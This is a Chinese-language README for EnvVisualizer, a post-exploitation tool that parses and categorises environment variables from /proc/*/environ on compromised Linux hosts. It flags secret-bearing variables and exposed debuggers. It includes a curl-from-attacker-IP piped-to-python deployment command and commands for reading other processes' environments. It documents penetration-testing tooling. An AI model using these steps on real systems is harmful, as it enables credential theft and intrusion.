解析并可视化被入侵 Linux 主机上的 /proc/self/environ —— 按技术栈(AWS、Django、Rails、NodeJS、MySQL、K8s、Docker 等)对环境变量进行分类,并生成带有严重性评级、可直接运行的命令的洞察。
___________ ____ ____.__ .__ .__
\_ _____/ _______ _\ \ / /|__| ________ _______ | | |__|_______ ___________
| __)_ / \ \/ /\ Y / | |/ ___/ | \__ \ | | | \___ // __ \_ __ \
| \ | \ / \ / | |\___ \| | // __ \| |_| |/ /\ ___/| | \/
/_______ /___| /\_/ \___/ |__/____ >____/(____ /____/__/_____ \\___ >__|
\/ \/ \/ \/ \/ \/
在已攻陷的 Linux 机器上解析、分类并可视化
/proc/self/environ。
将一大坨混杂的环境变量文本在几秒内转化为结构化、颜色编码的情报。
作者: @W4r10ck423
当你进入一台机器并读取 /proc/self/environ 时,你会看到这样的内容:
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi
EnvVisualizer 将其转化为:
============================================================================
EnvVisualizer — /proc/self/environ (32 variables)
============================================================================
── Identity (4) ───────────────────────────────────────────────────────────
HOME /home/dev
LOGNAME dev
SHELL /bin/bash
USER dev
── Paths & Dirs (10) ──────────────────────────────────────────────────────
PATH
• /home/dev/projects/store1/node_modules/.bin
• /home/dev/projects/node_modules/.bin
• /usr/local/sbin
• /usr/local/bin
• /usr/sbin
• /usr/bin
• /sbin
• /bin
• /snap/bin
PWD /home/dev/projects/store1
npm_config_cache /home/dev/.npm
npm_execpath /usr/share/nodejs/npm/bin/npm-cli.js
── NPM / Node (12) ────────────────────────────────────────────────────────
NODE /usr/bin/node
npm_command run-script
npm_config_user_agent npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
npm_lifecycle_script nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
npm_package_json /home/dev/projects/store1/package.json
── System (6) ─────────────────────────────────────────────────────────────
COLOR 0
EDITOR vi
INVOCATION_ID abc0ab20c7dd498792d8be51c591071a
JOURNAL_STREAM 8:6005
LANG C.UTF-8
SYSTEMD_EXEC_PID 881
── Pentest Insights ────────────────────────────────────────────────────────
▶ Node.js debugger exposed → 127.0.0.1:9229 (try: node-inspector / chrome://inspect)
▶ Home dir: /home/dev
▶ Shell: /bin/bash
▶ npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
▶ npm_lifecycle_event = watch
安装 rich 后,每个类别都会获得自己的颜色编码表格。
npm_*、node_*、pip_* 等)TOKEN、KEY、SECRET、PASSWORD 等)的变量,并显示 ⚠ 警告rich 时使用颜色编码表格;作为后备提供干净的纯文本输出(零依赖要求)git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
将 envvisualizer.py 复制到目标机器或攻击者机器。它以零依赖运行:
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
| 依赖 | 版本 | 必需 |
|---|---|---|
| Python | ≥ 3.8 | 是 |
| rich | ≥ 13.0 | 否(纯文本后备) |
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
| 方法 | 命令 | 准确性 |
|---|---|---|
| 直接读取文件 | python3 envvisualizer.py -f /proc/self/environ | ✅ 完美(空字节分割) |
| Stdin 管道 | cat /proc/self/environ | python3 envvisualizer.py | ✅ 完美(空字节分割) |
| 粘贴字符串 | python3 envvisualizer.py -r 'USER=dev...' | ✅ 良好(双类启发式) |
| 无参数(演示) | python3 envvisualizer.py | ✅ 完美(自身进程) |
提示: 只要你有文件访问权限,优先使用
-f。
真实文件中的空字节分隔符是精确的——无需启发式。
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
cat /proc/self/environ | python3 envvisualizer.py
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'
python3 envvisualizer.py -f /proc/self/environ --no-rich
变量被分为 12 个类别,按优先级顺序评估(首个匹配胜出)。
| 类别 | 典型变量 |
|---|---|
| 🔐 安全 / 认证 | SSH_*、SUDO_*、任何匹配 TOKEN、KEY、SECRET、PASSWORD、CREDENTIAL、CERT 的内容 |
| 👤 身份 | USER、LOGNAME、HOME、SHELL、UID、GID |
| 🗄 数据库 | PG*、MYSQL_*、MONGO*、REDIS_*、DATABASE_URL、DB_*、ELASTIC*、CASSANDRA_*、SQLALCHEMY_* |
| ☁ 云 / 基础设施 | AWS_*、GOOGLE_*、AZURE_*、ARM_*、DOCKER_*、KUBERNETES_*、VAULT_*、TF_*、CLOUDFLARE_* |
| 🔄 CI/CD 与 VCS | GITHUB_*、GITLAB_*、CI_*、TRAVIS_*、CIRCLE*、JENKINS_*、HEROKU_*、BUILD_* |
| 🔌 第三方 API | STRIPE_*、TWILIO_*、SENDGRID_*、SENTRY_*、DD_*、SLACK_*、OPENAI_*、ALGOLIA_*、AUTH0_* |
| 🕸 Web 框架 | DJANGO_*、FLASK_*、RAILS_*、SPRING_*、ASPNETCORE_*、APP_KEY/ENV/DEBUG、SECRET_KEY_BASE、MIX_ENV、NEXT_*、VITE_*、REACT_APP_* |
| 🐍 应用运行时 | PYTHON*、CONDA_*、VIRTUAL_ENV、GEM_*、BUNDLE_*、JAVA_*、JVM_*、MAVEN_*、CATALINA_*、GO*、RUST*、CARGO_*、PHP_*、DOTNET_*、PERL*、DENO_* |
| 📦 NPM / Node | npm_*、NODE、NODE_ENV、NODE_OPTIONS |
| 📂 路径与目录 | PATH、PWD、*_DIR、*_PREFIX、*_HOME、*_CACHE、INIT_CWD |
| 🌐 网络 / 代理 | *_PROXY、HOSTNAME、SSL_CERT_*、CURL_CA_BUNDLE、*_URL、*_ADDR |
| ⚙ 系统 | LANG、TERM、EDITOR、INVOCATION_ID、JOURNAL_STREAM、XDG_*、LC_* |
| 其他 | 其他所有内容,按字母顺序排序 |